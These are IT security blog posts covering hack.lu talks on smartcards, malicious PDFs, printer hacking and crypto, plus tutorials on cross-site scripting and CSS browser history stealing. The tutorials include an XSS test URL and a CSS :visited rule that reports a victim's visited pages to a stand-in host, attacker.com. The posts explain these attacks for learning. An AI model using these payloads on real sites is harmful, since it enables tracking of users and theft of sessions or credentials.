ITS Blog

IT Security blog – about up to date topics on IT security

Vincent Guyot gave in his talk an overview what is possible with smartards. Smardcards are in general small computers which have the following parts:

  • ROM
  • CPU
  • EEPROM
  • RAM
  • CPU
  • crypto-CPU

They are a all-in-one computer which can be accessed on a client server base. The Developer can add their own features and functions to it. The interesting thing is, that smartcards are commonly trusted objects. While a harddisk, or a USB drive is general suspicious to the guards at for example the airport, no one really cares aboput a smartcard inside a mobile. There are even mobiles which can handle two smardcards, so it is an easy place to hide them.

I just want to mention, that fluxfingers, a group of well trained hackers, is providing the CTF this year at hack.lu.

Have a look at the hack.lu CTF page.

For all local teams, which meaning teams which are present at hack.lu there are some attractive prices like:

  • an iPad
  • a Kindle
  • and much more

So, if your are at hack.lu there are some very good reasons to participate at the CTF.

BTW: registration is still open …

UPDATE: At the moment (1st day, 15:45) only 4 teams registered as local.

In the morning I attended the workshop from Didier Stevens about analyzing malicious PDF files. I rarely attended a workshop with such a high quality.

Dedier showed in 20 good understandable exercises:

  • how the format of a PDF looks like
  • how javascript is included in a PDF file
  • how javascript can be obfuscated
  • how files can be included in a PDF
  • how files can be launched from a PDF

all the exercises will be made available on Didiers Webpage. Additionally you can find an ebook about analyzing malicious PDFs on his website.

During the workshop there were some tools presented, to analyze the PDF files:

  • pdfid.py – analysing the structure of the PDF
  • pdf-parse.py – a parser for PDFs which will print out the content of PDF objects
  • js – a Javascript parser based on spidermonkey which has been slightly modified.

Take a look at Didiers Webpage, it is worth it.

Andrei Costin gave a overview about what it means to hack a printer. Hacking a printer is mainly about hacking the PC inside a printer. Today a printer is not only just a printer. The models used in companies usually are connected to the network. Printers provide funtionallities starting with printing, faxing and scanning. Some of them can even send emails with scanned contained. Another interesting fact is, that most printers are available 24/7 on the network. Keeping this in mind they are an interesting target for spionage, data collecting in general, as well as for a base to hack the rest of the network.

If an attacker successfully hacks a printer, he could install malware on the system. This malware could easily protect itself from being removed, by simply removing the functionallity to flash the system. The only way to get the printer cleaned would be to send it in to service. The service would then take messures to excvhange the firmware which are outside the possibilities of a normal user.

Some admins make it even more easy to hack the printers by providing a public access from the internet to the printer. By this an attack vector is opened which can nearly not be controlled. To get an idea, look at the XSS articles previously posted.

To get an basic idea what a attacker could do, I will give you a small list of possible harms:

  • sending documents, which are printed, scanned or copied to an external Email address
  • collecting Identification information of employees who have to identify them self to access the devices
  • providing a base for a Botnet
  • providing a safe harbour for hacking other computers, not only inside your network

If you also consider that most admins don’t monitor printers and their network traffic (“hey its just a printer”), it is more than likely that the attack will not be detected in the beginning.

It might be worth to have a deeper look into this topic.

E. Filliol started his presentation with a short introduction to misimplementation of crypto systems and basiys in cryptography. First the different type of ciper systems were presented

  • stream ciphers – working on a stream of bits or Bytes, most likely performing a xor operation on the message with at (pseudo) random vector. The vector is created based on a key.
  • block ciphers – work on defined blocks of a message. For example the message is devided in this parts of 64 Bit. These blocks are encrypted with a key.

After the introduction a short presentation of his project Mediggo. A Library to analyse crypto.

To analyse ciphertext he took the following steps:

  1. detection – detect the cypher system
  2. build a corpus – get a statistical model of the plaintext language
  3. decrypt – try to recover the original message.

Interested to learn more? have a look at the Google-Code project Mediggo. Slides are included there.

I just arrived at hack.lu, an IT Security conference in Luxembourg. During the participation, I will write about the workshops and lectures I attendet to. On the first day I will most likely be in:

  • a workshop about breaking weak or misimplemented systems.
  • a workshop an Malicious PDF Analysis
  • Lecture about Hacking printers for fun and profit
  • and others

You can have a look at the conference agenda at hack.lu

This is the next article in our hacking a website series. To hack a website we need to know the different ways how to perform the attack. These ways are also called attack vectors. Our first vector is Cross Site Scripting. Cross Site Scripting is an attack against the user of a website. An Attacker tries to insert Java script Code in a Website through the URL.

Most websites want to interact with their users. To achieve this goal, the website asks for user input. As an example a website asks in a form for the name of the user. After entering the User name and pressing the submit button a new website is presented which simply says “Hello xxx”, where xxx would be the data the user entered in the form before. If the website does not filter the input and takes the input by the GET method (a common way to transfer data between browser and server), an attacker can create an URL which would execute Java script Code in the browser of the user. Such an URL could look like:

http://www.example.com/greet.php?name=<script>alert(1);</script>

If this website would be opened, an alert window would pop up telling “1”. So, why is this causing harm?

Well, since the attacker can add any Javascript Code there, he can control the whole page. Javascript offers methodes to manipulate the content of a website. complete areas can be made invisible, and new text can be added, as the attacker prefers. Beside the website itself, the attacker can also read out cookies, these small pieces of information which is stored in your browser and which are containing information about your websession. He can read out passwords which are entered into fields of the website. If the attackers adds the login form of the website, the browser fills out these fields automatically, since most users use the function of their browser to store the password.

If the vulnerable website is a bank, for example, the attacker could at least steal the login credentials and have a look at the bank accounts of his victims.

A real nightmare.

Kabel from 0xbadcab1e just told me that there is a new XSS worm on twitter. If you would like to see the worm in action search for onmouseover on twitter. After some seconds there is a a area for real time results. Inside is an update of how many new tweets came after you started searching. For me it increased within 4 minutes by 25.000 new tweets.

It will be interesting if Twitter has to take down their services to get rid of the worm.

Another option would be to implement a hot fix, which is filtering on the onmouseover, to prevent the worm from spreading further. Once the hot fix is in action, the admins can remove the worm from the twitter database.

Für einen vor kurzem gehaltenen Vortrag hatte ich die Gelegenheit mich mit Browser History stealing, oder auf deutsch Browserverlauf auslesen zu beschäftigen.

Beim Browser History Stealing ist es das erklärte Ziel eines Angreifers, heraus zu finden, welche Seiten ein Opfer angesurft hat. Aus diesen Informationen lassen sich anschließend bestimmte Schlussfolgerungen treffe. Dazu aber in einem anderen Artikel später mehr.

Browser Histoyry Stealing durch zu führen ist eigentlich eine recht einfache Sache. Alles was der Angreifer braucht ist eine Webseite und einige StyleSheets.  Leider ist es nicht direkt möglich eine Anfrage an den Browser zustellen, nach dem Motto: Gib mir alle Webseiten die du besucht hasst. Stattdessen plaziert man jede einzelne URL die man abfragen möchte auf einer Webseite (z.b. in einem sehr kleinen IFrame) :

<A HREF=”www.its-blog.de/?p=27″ id=”link1″>this page</A>

Zur URL fügt man anschliessend einen ID tag hinzu. Über diesen Tag wird dann die Regel aus dem Stylesheet angesteuert:

Schauen wir uns dieses einmal an:

#link1 {

   color: blue;
}

#link1:visited {
   color: red;
   background:
   url(http://www.attacker.com/track.php?url=www.its-blog.de/?p=27);
}

Ist die Seite nun bereits einmal besucht gewesen, so möchte der Browser die entsprechende Regel ausführen und das Hintergrundbild dynamisch nachladen. In dieses ist jedoch die URL die man abfragen wollte mit eincodiert. Es wird somit pro besuchter Seite ein Rückkanal zum Angreifer aufgebaut und ihm mitgeteilt welche Seite das Opfer besucht hatte.

Wie oben beschrieben funktioniert dies jedoch nur für Seiten von denen der Angreifer vermutet das das Opfer dort gewesen ist.

Fortsetzung folgt …

For a recent talk I took the opportunity to look a little deeper into browser history stealing.

The goal at Browser History Stealing is to get information about the browser history of a victim. This information can be very valuable for profiling and other stuff. But this is another blog post.

Performing browser history stealing, or like other say browser history sniffing, via CSS is quite simple. All you need is a web page and a style sheet. Sadly it is not possible to ask the browser direct about the visited webpages. Therefore we have to do it indirect by placing links we would like to know about on a webpage(i.e. in an IFrame):

<A HREF=”www.its-blog.de/?p=27″ id=”link1″>this page</A>

On the URL you add the ID tag. This tag is used to identify the rules how the link has to be displayed.

Lets have a look at the style sheet:

#link1 {
   color: blue;
}

#link1:visited {
   color: red;
   background:
   url(http://www.attacker.com/track.php?url=www.its-blog.de/?p=27);
}

The trick starts with the background image.  Inside the visited part of the style sheet we ask the browser to display a background image. Since the browser want to safe bandwidth, this image is loaded only when it is needed, meaning when the link has been visited. Due to the fact that the we encoded the URL we wanted to check inside the image name we can create a script track.php which delivers back a 1×1 pixel image in white and safes the IP and the URL tag of the request.

As mentioned above this works only for pages the adversary assumes that the victim has visited them.

to be continued ….